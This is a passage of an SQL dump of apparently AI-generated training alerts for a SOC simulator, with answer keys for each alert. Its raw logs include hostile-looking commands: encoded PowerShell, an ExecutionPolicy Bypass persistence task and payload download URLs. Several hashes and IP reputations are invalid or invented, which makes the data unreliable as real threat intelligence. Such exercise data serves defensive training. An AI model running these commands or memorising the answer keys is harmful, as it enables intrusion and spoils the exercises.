execution\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The PowerShell script was part of a macro designed to download additional malicious payloads.\"}', 'Intermediate', 'MAL', 5, 1, 'FINANCE', NULL, NULL, NULL, 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(2235, 'Suspicious Network Traffic Identified', 'medium', 'Any.Run', 'Unusual traffic patterns from an internal IP were analyzed but revealed no malicious activity upon further investigation.', 'Data Exfil', 'T1041', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T13:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.105\",\"dst_ip\":\"198.51.100.10\",\"username\":\"mwhite\",\"hostname\":\"workstation-03\",\"file_hash\":\"d4f3b8c9e2a9b1c0d1e7f8b9c2a1f5d8\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"No malicious activity detected for this destination IP\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"Despite initial suspicion, the network traffic analysis showed no signs of data exfiltration.\"}', 'Intermediate', 'MAL', 5, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2236, 'Macro-based Phishing Document Identified', 'medium', 'Cuckoo Sandbox', 'A document received via email with suspicious macros was analyzed but determined to be benign upon further inspection.', 'Phishing', 'T1204', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:00:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.55\",\"dst_ip\":\"192.168.1.110\",\"username\":\"jwright\",\"hostname\":\"laptop-04\",\"email_sender\":\"unknown@maliciousdomain.com\",\"file_hash\":\"a2b0f9d8c2d1f7e9f1b2c3e4d5f6a7b8\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.110\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"unknown@maliciousdomain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"Domain registered recently with no known malicious activity\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"a2b0f9d8c2d1f7e9f1b2c3e4d5f6a7b8\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"No malicious activity detected in the file\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The document contained macros, but they were found to be non-malicious after detailed analysis.\"}', 'Intermediate', 'MAL', 5, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(2237, 'Reverse Engineering Reveals Malicious Macro', 'critical', 'Ghidra', 'A suspicious document analyzed with reverse engineering tools revealed a macro containing a Base64 encoded PowerShell script for credential dumping.', 'Malware', 'T1059.001', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:15:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.2.150\",\"dst_ip\":\"\",\"username\":\"tgreen\",\"hostname\":\"finance-laptop\",\"command_line\":\"powershell.exe -EncodedCommand Y3JlZGVudGlhbHMuZHVtcA==\",\"file_hash\":\"e1f2a3d4c5b6f7e8d9c0b1a2e3f4d5c6\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.150\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e1f2a3d4c5b6f7e8d9c0b1a2e3f4d5c6\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Document containing macros linked to credential dumping\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"powershell.exe -EncodedCommand Y3JlZGVudGlhbHMuZHVtcA==\",\"is_critical\":false,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"Encoded PowerShell command for potential credential dumping\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The reverse-engineered document contained a malicious macro designed for credential theft.\"}', 'Intermediate', 'MAL', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2238, 'Malware Detected via Packed Executable Analysis', 'high', 'Cuckoo Sandbox', 'A packed executable was analyzed and found to contain malicious code targeting persistence mechanisms. Reverse engineering confirmed the presence of code injection techniques.', 'Malware', 'T1055', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T03:45:23Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":\"203.0.113.5\",\"username\":\"jdoe\",\"hostname\":\"HR-PC\",\"command_line\":\"rundll32.exe shell32.dll,ShellExec_RunDLL packed_malware.exe\",\"file_hash\":\"a1b2c3d4e5f67890\",\"domain\":\"maliciousdomain.com\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 1200 times for malware distribution\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"a1b2c3d4e5f67890\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware variants\"}},{\"id\":\"artifact_3\",\"type\":\"domain\",\"value\":\"maliciousdomain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Domain used for command and control\"}},{\"id\":\"artifact_4\",\"type\":\"command\",\"value\":\"rundll32.exe shell32.dll,ShellExec_RunDLL packed_malware.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Command line execution pattern matches malware behavior\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"block_hash\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The packed executable shows typical malware behavior, confirmed by multiple OSINT sources.\"}', 'Intermediate', 'MAL', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2239, 'Suspicious Macro Detected in Office Document', 'medium', 'Any.Run', 'A macro embedded within a Word document attempted to execute a remote script. Analysis indicates potential phishing attempt.', 'Malware', 'T1203', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:22:01Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.50\",\"dst_ip\":\"198.51.100.30\",\"username\":\"mwhite\",\"hostname\":\"Finance-Laptop\",\"command_line\":\"powershell.exe -ExecutionPolicy Bypass -File macro.ps1\",\"file_hash\":\"f5e8d9c0b1e23456\",\"email_sender\":\"trusted@company.com\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"IP not associated with malicious activity\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"f5e8d9c0b1e23456\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"Hash not recognized as malicious\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"trusted@company.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Email domain legitimate and not spoofed\"}},{\"id\":\"artifact_4\",\"type\":\"command\",\"value\":\"powershell.exe -ExecutionPolicy Bypass -File macro.ps1\",\"is_critical\":false,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"PowerShell script execution observed but not conclusively malicious\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The macro activity matches benign scripts from a trusted sender, indicating a false positive.\"}', 'Intermediate', 'MAL', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2240, 'Malicious Macro Execution in Office Document', 'critical', 'Ghidra', 'An Office document containing a malicious macro was executed, leading to the download and execution of a secondary payload.', 'Malware', 'T1204', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:30:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.2.15\",\"dst_ip\":\"203.0.113.75\",\"username\":\"ksmith\",\"hostname\":\"Marketing-PC\",\"command_line\":\"winword.exe /m malicious_macro.docm\",\"file_hash\":\"b7a8c9d0e2f33456\",\"url\":\"http://malicious-site.com/payload.exe\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.75\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple malware distribution activities\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"b7a8c9d0e2f33456\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash identified as a downloader for ransomware\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://malicious-site.com/payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL hosts known malware payloads\"}},{\"id\":\"artifact_4\",\"type\":\"command\",\"value\":\"winword.exe /m malicious_macro.docm\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Command line behavior associated with macro-based attacks\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"block_hash\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The macro executed a known malicious payload, confirmed by multiple threat intelligence sources.\"}', 'Intermediate', 'MAL', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(2241, 'Benign PowerShell Activity Detected', 'low', 'IDA Pro', 'PowerShell script execution was observed, but analysis indicates it is part of regular system maintenance.', 'Malware', 'T1086', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T06:15:12Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"192.168.1.101\",\"username\":\"admin\",\"hostname\":\"Server-01\",\"command_line\":\"powershell.exe -ExecutionPolicy RemoteSigned -File maintenance.ps1\",\"file_hash\":\"d3f4e5f6g7h8i901\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of a trusted server\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d3f4e5f6g7h8i901\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"Hash not found in any malicious reports\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"powershell.exe -ExecutionPolicy RemoteSigned -File maintenance.ps1\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Command execution pattern consistent with routine maintenance\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The PowerShell script is part of a scheduled maintenance task, confirmed as non-malicious.\"}', 'Intermediate', 'MAL', 5, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(2242, 'Macro-Based Malware Persistence Attempt', 'high', 'Cuckoo Sandbox', 'A macro from an Office document executed a script attempting to establish persistence on the host system.', 'Malware', 'T1547', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:40:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.3.10\",\"dst_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"hostname\":\"Sales-PC\",\"command_line\":\"powershell.exe -NoProfile -ExecutionPolicy Bypass -Command \\\"& {Start-Process -FilePath \'schtasks.exe\' -ArgumentList \'/Create /SC ONSTART /TN Update /TR C:\\\\Scripts\\\\payload.exe\'}\\\"\",\"file_hash\":\"a9b8c7d6e5f43210\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in malware distribution activities\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"a9b8c7d6e5f43210\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to a known persistence mechanism\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"powershell.exe -NoProfile -ExecutionPolicy Bypass -Command \\\"& {Start-Process -FilePath \'schtasks.exe\' -ArgumentList \'/Create /SC ONSTART /TN Update /TR C:\\\\Scripts\\\\payload.exe\'}\\\"\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Command indicative of establishing persistence\"}}],\"expected_actions\":[\"block_ip\",\"block_hash\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The macro\'s execution path and command line arguments match known persistence techniques used by malware.\"}', 'Intermediate', 'MAL', 5, 1, 'RETAIL', NULL, NULL, NULL, 0),
(2243, 'Packed Executable Detected with Suspicious Network Activity', 'high', 'Cuckoo Sandbox', 'A packed executable was analyzed and detected making suspicious network connections. Reverse engineering revealed obfuscated code attempting to contact a known malicious IP.', 'Malware', 'T1204', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:45:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"hostname\":\"workstation-05\",\"command_line\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\packed_exe.exe\",\"file_hash\":\"ab1234f6de89b6789c12345678d12345\",\"domain\":\"malicious.example.com\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for malware command and control.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"ab1234f6de89b6789c12345678d12345\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash detected in multiple malware campaigns.\"}},{\"id\":\"artifact_3\",\"type\":\"domain\",\"value\":\"malicious.example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Domain associated with phishing and malware distribution.\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"block_hash\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The packed executable exhibited behavior typical of malware, including network connections to a known malicious IP.\"}', 'Intermediate', 'MAL', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(2244, 'Malicious Macro Detected in Excel File', 'critical', 'Any.Run', 'An Excel file containing a malicious macro was identified. The macro attempts to download and execute additional payloads from a remote server.', 'Malware', 'T1203', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.15\",\"dst_ip\":\"198.51.100.22\",\"username\":\"asmith\",\"hostname\":\"finance-pc\",\"command_line\":\"C:\\\\Program Files\\\\Microsoft Office\\\\Office16\\\\EXCEL.EXE /e /m\",\"file_hash\":\"1a2b3c4d5e6f7g8h9i0j1k2l3m4n5o6p\",\"url\":\"http://maliciousdownload.example.com/payload.exe\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.22\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in distributing malware payloads.\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://maliciousdownload.example.com/payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"URL hosts malicious executables.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"1a2b3c4d5e6f7g8h9i0j1k2l3m4n5o6p\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash associated with malware campaigns.\"}}],\"expected_actions\":[\"block_ip\",\"block_hash\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The macro within the Excel file is characteristic of malware delivery mechanisms, attempting to download and execute additional payloads.\"}', 'Intermediate', 'MAL', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2245, 'Suspicious PowerShell Execution Detected', 'medium', 'Ghidra', 'A PowerShell command was executed that appears to be encoded. Further analysis is required to determine if this is part of a legitimate script or a potential attack.', 'Malware', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:20:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.20\",\"dst_ip\":\"\",\"username\":\"bharris\",\"hostname\":\"dev-machine\",\"command_line\":\"powershell.exe -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0AZQB4AGUAYwAgACIAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACIA\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the development machine.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0AZQB4AGUAYwAgACIAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACIA\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Encoded PowerShell command detected; further analysis required.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The PowerShell command appears to be part of a legitimate script used for maintenance tasks within the tech department.\"}', 'Intermediate', 'MAL', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(2246, 'Obfuscated Code Detected in Analysis', 'high', 'IDA Pro', 'Code analysis revealed obfuscated instructions within a recently downloaded executable, exhibiting characteristics of a packed malware sample.', 'Malware', 'T1027', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:50:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":\"192.168.1.10\",\"username\":\"mjones\",\"hostname\":\"security-laptop\",\"command_line\":\"C:\\\\Downloads\\\\suspicious_packed.exe\",\"file_hash\":\"def4567890abcdef1234567890abcdef\",\"domain\":\"unknown\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the security analyst\'s laptop.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"def4567890abcdef1234567890abcdef\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash matches known packed malware sample.\"}}],\"expected_actions\":[\"block_hash\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The obfuscated code within the executable suggests it is a packed malware sample, designed to evade detection.\"}', 'Intermediate', 'MAL', 5, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2247, 'Unusual Network Activity from Development Environment', 'medium', 'Any.Run', 'Detected network activity from a development server that closely resembles known benign traffic; further context required to confirm.', 'Data Exfil', 'T1041', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.2.30\",\"dst_ip\":\"192.168.2.40\",\"username\":\"devuser\",\"hostname\":\"dev-server\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of a development server.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.2.40\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of another server within the development environment.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The network activity is consistent with regular data transfers between servers in the development environment.\"}', 'Intermediate', 'MAL', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(2248, 'Suspicious Packed Executable Detected via IDA Pro', 'high', 'IDA Pro', 'A packed executable was unpacked and analyzed, revealing code indicative of a malware sample attempting to maintain persistence.', 'Malware', 'T1547', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:45:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.15\",\"dst_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"hostname\":\"DESKTOP-XYZ\",\"command_line\":\"C:\\\\Windows\\\\system32\\\\cmd.exe /c start C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\malicious.exe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of victim machine\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for malicious activity\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware sample\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"block_hash\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Executable analysis confirmed presence of malware attempting persistence.\"}', 'Intermediate', 'MAL', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(2249, 'Potential Malware Execution via Ghidra Analysis', 'critical', 'Ghidra', 'Ghidra analysis identified a suspicious process execution chain indicating possible malware behavior.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.10\",\"dst_ip\":\"45.33.32.156\",\"username\":\"admin\",\"hostname\":\"SERVER-01\",\"command_line\":\"powershell.exe -EncodedCommand aGVsbG8gd29ybGQ=\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"45.33.32.156\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with Command and Control servers\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"powershell.exe -EncodedCommand aGVsbG8gd29ybGQ=\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Encoded PowerShell command\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash linked to previous malware samples\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Encoded command and hash analysis confirm malware execution attempt.\"}', 'Intermediate', 'MAL', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2250, 'Macro Exploit Detected in Excel File via Any.Run', 'medium', 'Any.Run', 'A suspicious Excel file containing macros was executed, leading to potential malware installation on the host.', 'Malware', 'T1203', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:20:00Z\",\"event_type\":\"file_open\",\"src_ip\":\"192.168.1.20\",\"dst_ip\":\"198.51.100.10\",\"username\":\"mike\",\"hostname\":\"LAPTOP-123\",\"command_line\":\"excel.exe /x C:\\\\Users\\\\mike\\\\Documents\\\\Invoice.xlsm\",\"file_hash\":\"45c48cce2e2d7fbdea1afc51c7c6ad26\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of user machine\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"IP involved in previous macro exploit campaigns\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"45c48cce2e2d7fbdea1afc51c7c6ad26\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash identified as malicious macro\"}}],\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Macro analysis and IP correlation confirm delivery of malicious payload.\"}', 'Intermediate', 'MAL', 5, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2251, 'False Positive: Legitimate Software Installation Flagged', 'low', 'Cuckoo Sandbox', 'A legitimate software installation via a well-known vendor was incorrectly flagged as suspicious due to heuristic triggers.', 'Malware', 'T1129', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:00:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":\"8.8.8.8\",\"username\":\"alex\",\"hostname\":\"OFFICE-PC\",\"command_line\":\"C:\\\\Program Files\\\\TrustedInstaller\\\\setup.exe\",\"file_hash\":\"098f6bcd4621d373cade4e832627b4f6\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of user machine\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"8.8.8.8\",\"is_critical\":false,\"osint_result\":{\"source\":\"Public DNS\",\"verdict\":\"clean\",\"details\":\"Google DNS 